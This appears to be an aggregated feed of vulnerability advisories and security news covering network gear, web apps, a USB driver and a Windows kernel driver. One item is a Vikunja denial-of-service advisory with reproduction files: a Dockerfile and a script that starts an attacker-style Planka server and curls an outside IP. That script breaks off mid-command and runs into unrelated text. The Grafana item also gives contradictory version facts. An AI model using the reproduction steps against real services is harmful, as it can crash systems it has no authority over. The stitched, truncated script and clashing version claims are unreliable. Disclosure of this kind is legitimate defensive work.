CVE-2026-73454 is a command injection vulnerability in Arista Networks EOS affecting platforms with gRPC Network Security Interface (gNSI) Credentialz configured. A specially crafted request can cause unintended changes to account properties, potentially granting elevated privileges beyond intended administrative controls. The vulnerability is rated high severity with a CVSS score of 8.1. Multiple versions of EOS from 4.30.0F through 4.36.0.1F are affected. No explicit patch information is provided in the input data.
Vulnerabilities have been identified in the web-based management interface of EdgeConnect SD-WAN Orchestrator that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative privileges leading to complete compromise of the EdgeConnect SD-WAN Orchestrator host.
Vulnerabilities have been identified in the API of HPE Networking EdgeConnect SD-WAN Orchestrator that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative privileges leading to complete compromise of the EdgeConnect SD-WAN Orchestrator host.
Vulnerabilities have been identified in the API of EdgeConnect SD-WAN Orchestrator that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative privileges leading to complete compromise of the EdgeConnect SD-WAN Orchestrator host.
canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl() joins values returned by Request::getPathVariables() without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When a consuming application supplies an untrusted path variable value, path traversal sequences, query delimiters, or fragment delimiters can change the destination endpoint before AbstractEndpoint::sendRequest() attaches the configured authentication token. An attacker who controls that path variable value through the consuming application can cause unintended reads or writes with the configured application's privileges on the same Canto instance, but applications that pass only trusted and validated identifiers are not exploitable. This issue is fixed in version 3.0.0.
motionEye versions prior to 0.44.0 have a missing authorization vulnerability in the ActionHandler.post() method. This flaw allows unauthenticated remote attackers to invoke actions such as snapshot, record start/stop, PTZ controls, alarm, and lighting commands via the /action/<camera_id>/<action> endpoint. The issue is fixed in version 0.44.0.
CVE-2026-59157 is an authentication bypass vulnerability in webhookd versions prior to 1.22.0. The issue arises when deployments without htpasswd authentication forward all incoming HTTP headers into hook script environments without an allowlist. Specifically, if an upstream reverse proxy does not strip the client-supplied X-WebAuthn-User header, a remote unauthenticated attacker can spoof this header to impersonate another user. This allows bypassing script security controls and accessing or modifying resources with the impersonated identity's privileges. The vulnerability is fixed in webhookd version 1.22.0.
# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
## Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
## Impact and affected scope
- **Type:** Resource Exhaustion Dos
- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026
- **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced
A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
## Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
- `pkg/routes/api/v2/migration_credentials.go:35`
- `pkg/routes/api/v2/migration_shared.go:73`
- `pkg/routes/api/v2/migration_shared.go:95`
- `pkg/modules/migration/planka/client.go:37`
- `pkg/modules/migration/planka/client.go:356`
- `pkg/modules/migration/planka/fetch.go:29`
- `pkg/modules/migration/planka/fetch.go:32`
- `pkg/modules/migration/planka/convert.go:275`
- `pkg/modules/migration/planka/convert.go:280`
- `pkg/modules/migration/planka/convert.go:293`
- `pkg/modules/migration/planka/planka.go:86`
- `pkg/modules/migration/planka/planka.go:100`
## Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
```
Create `reproduction/verify.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/user
A previously unknown malware framework called BambooToken, active since at least 2023, is now using the Message Queuing Telemetry Transport (MQTT) protocol to communicate with Windows and Linux systems. [...]
A critical privilege-escalation vulnerability in LiteSpeed Web Server Enterprise versions before 6.3.7 allows a low-privilege shared-hosting user to potentially gain root access by bypassing isolation controls like CloudLinux CageFS. The advisory urges administrators to upgrade to version 6.3.7 or later to mitigate this risk. No CVE or public exploit details are currently available, but the issue is considered critical by cPanel.
The Australian Signals Directorate (ASD) is transitioning from the Essential Eight cybersecurity framework to a new outcomes-based Essentials series starting mid-2027, with full retirement of the Essential Eight expected around mid-2028. This shift moves organizations away from periodic, checklist-style compliance assessments toward continuous validation of security posture across enterprise IT, cloud, operational technology (OT), and potentially agentic AI environments. The new framework emphasizes demonstrating ongoing achievement of security outcomes rather than merely implementing specific controls. Compliance with the Essential Eight remains mandatory only for certain Commonwealth entities, while private-sector adoption is voluntary but often expected by insurers and government contractors. The Essentials series introduces chapters tailored to different environments, reflecting their unique security challenges and dynamic nature. Exposure management tools are highlighted as a means to continuously identify and prioritize security exposures and provide real-time evidence of security posture.
A vulnerability in Grafana's Unified Alerting component allows an attacker to bypass security controls and disclose information. This issue affects Grafana versions up to and including 12.4.0. The vulnerability has been addressed in version 12.4.0. Red Hat has issued an important security advisory and released updates for affected Red Hat Enterprise Linux distributions.
Homebrew package manager version 7.0.0 has been released with a built-in vulnerability scanner, stronger security controls, and the full release of its native BrewUI graphical interface. [...]
The ITE IT82xx2 USB device-controller driver (drivers/usb/udc/udc_it82xx2.c) mishandles multi-packet OUT transfers on non-control endpoints. In work_handler_out() the active transfer buffer is obtained with udc_buf_peek() (which does not dequeue it); when a full max-packet-size packet arrives but the buffer still has tailroom (the transfer is not yet complete), the pre-fix code both re-arms the endpoint to keep filling that same buf via work_handler_xfer_continue() and simultaneously hands the same, still-being-filled buffer to the upper stack with udc_submit_ep_event().
Because udc_submit_ep_event() transfers ownership of the buffer to the USB device stack (usbd_event_carrier() appends &buf->node to uds_ctx->ep_events, after which the class handler processes and net_buf_unref()s it), the driver continues to DMA subsequent host-controlled OUT packets into a buffer the upper stack may already have freed and recycled — a use-after-free write. In addition, since the buffer was never dequeued, the completing packet runs udc_buf_get() on the same object and submits it a second time, appending &buf->node to the event slist twice (singly-linked-list corruption) and causing a double net_buf_unref().
The IT82xx2 is a USB peripheral controller, so the untrusted USB host controls OUT-transfer packetization and can force this path against any non-control OUT endpoint whose queued buffer exceeds one packet — an ordinary bulk/interrupt pattern. The driver and USB device stack run in kernel context above the external host, giving the host a device-side kernel heap-corruption primitive: a reliable denial of service and, because the written bytes are attacker-controlled, plausible corruption of adjacent net_buf pool memory. The vector is physical (USB attach). The fix defers submission until the buffer is completely filled and lets xfer_work_handler() drive continuation, so each OUT buffer is submitted to the upper stack exactly once.
IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 performs input validation exclusively on the client side and fails to enforce the same restrictions on the server side. An attacker can modify requests to bypass validation controls and submit unauthorized values, potentially resulting in unintended application behavior.
Attackers can combine social engineering with malicious OAuth applications to gain access to Google Workspace data without relying solely on stolen passwords. This webinar examines two attacks to show how these breaches unfold and which security controls can help stop them. [...]
CVE-2026-90521 is an authorization bypass vulnerability in the jaychouchannel Tourism-Management-System affecting the CRUD component, specifically the MenpiaodingdanController.java file. The vulnerability allows remote attackers to manipulate the ID argument to bypass authorization controls. The product uses rolling releases, so exact affected and fixed versions are not specified. A patch identified by commit d44ec3aa0bd2a72c8800e3befb0a9a96a6491b86 is available. The CVSS 4.0 score is 5.3, indicating medium severity.
CVE-2026-90507 is a medium severity vulnerability in the vvbbnn00 WARP-Clash-API affecting the get_surge_subscription function in the Subscription Handler component. It involves improper access controls due to manipulation of the argument key, which can be exploited remotely. The product uses a rolling release model, and no specific affected or fixed versions are provided. The vendor did not respond to disclosure and no patches are available. This vulnerability affects only unsupported product versions.
A vulnerability was detected in Tonec Internet Download Manager up to 6.42 Build 63 on Windows. The impacted element is an unknown function of the file idmwfp.sys of the component Kernel Driver. The manipulation results in improper access controls. Attacking locally is a requirement. Internet Download Manager for Windows up to and including 6.42 Build 63 installs idmwfp.sys, a Windows kernel driver that exposes the \.\IDMWFP device interface to authenticated local users. The device object is created with an access control descriptor equivalent to D:P(A;;GA;;;AU), granting Authenticated Users generic access to the driver. The driver's IOCTL 0x12C028 handler accepts registry-operation subcommands 0x0C through 0x0F and processes caller-controlled registry paths and values. These handlers do not authenticate the caller, do not enforce the caller's registry permissions, and do not restrict operations to IDM-owned registry namespaces. A low-privileged local authenticated user can therefore read, create, modify, and delete arbitrary registry values under HKLM and HKU through the kernel driver. This includes registry configuration consumed by privileged Windows services and drivers and enables Local Privilege Escalation, high-privilege persistence, unauthorized system configuration disclosure or modification, and compromise of system confidentiality, integrity, and availability. Exploitation requires local access, low privileges, and no user interaction. A public proof of concept is available. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.